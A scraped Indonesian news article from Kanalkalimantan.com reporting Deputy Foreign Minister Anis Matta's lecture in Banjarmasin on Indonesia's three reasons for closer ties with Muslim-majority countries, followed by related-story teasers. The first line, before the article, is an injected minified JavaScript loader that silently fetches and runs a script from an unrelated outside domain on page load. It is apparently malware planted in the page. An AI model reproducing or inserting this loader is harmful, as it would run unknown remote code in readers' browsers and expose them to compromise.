(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Wakil Menteri Luar Negeri (Wamenlu) Republik Indonesia (RI), Anis Matta membeberkan alasan Indonesia perkuat hubungan dengan negara-negara Islam.
Hal itu disampaikan saat mengisi kuliah umum di Universitas Islam Kalimantan (Uniska) MAB Banjarmasin bertajuk “Strategi Indonesia di Dunia Islam” pada Selasa (9/12/2025) siang.
Anis Matta menjelaskan, terdapat tiga alasan mengapa Indonesia membangun hubungan dengan beberapa negara mayoritas Islam.
Ciptakan Perdamaian Dunia Islam
Pertama adalah bangsa Indonesia harus menjadi kekuatan yang menciptakan perdamaian dunia Islam dan menghadirkan stabilitas.
Dia menambahkan, stabilitas yang dimaksud berupa stabilitas keamanan dan stabilitas politik.
Baca juga: Longsor di Jalan Banjarbaru – Batulicin, Kendaraan Sementara Tak Bisa Melintas
“Kita harus mempercayai dengan positif bahwa kita bisa menciptakan perdamaian di kawasan Indonesia,” ujar Anis.
Mengembalikan Kepercayaan Sesama Negara Islam
Sebagai negara dengan umat muslim terbanyak di dunia yakni 244,7 juta jiwa, Indonesia terus menjalin relasi positif dengan negara muslim lainnya guna mengembalikan kepercayaan sesama negara Islam.
Anis percaya bahwa negara-negara Islam bisa menjadi kekuatan ekonomi besar apabila melakukan orientasi ekonomi yang benar antar sesama.
Misalnya, pada 12 Februari 2025 lalu, pemerintah Indonesia menandatangani kerja sama dengan pemerintah Turki salah satunya peningkatan kerja sama di bidang perdagangan.
Baca juga: Tinggi Muka Air Sungai Riam Kiwa dan Riam Kanan Naik
“Dari 1,5 miliar dolar sampai hampir naik 100 persen, sekarang sudah 2,8 miliar dolar,” jelasnya.
Apabila hal tersebut terus dikejar maka akan membentuk sebuah kepercayaan kepada negara Indonesia.
Mengenalkan Budaya Indonesia
Satu hal menarik dari budaya Indonesia yang tidak dimiliki negara-negara Islam lainnya adalah moderasi dalam beragama.
Meskipun punya beragam etnis dan multi agama, akan tetapi Indonesia tetap menjaga kerukunan dengan sesama. “Ini adalah modal kita yang bisa dicontoh negara-negara lain,” pungkas Anis. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Kementerian Hukum (Kemenkum) RI mengapresiasi sarana prasarana (sarpras) di Pos Bantuan Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
This website uses cookies.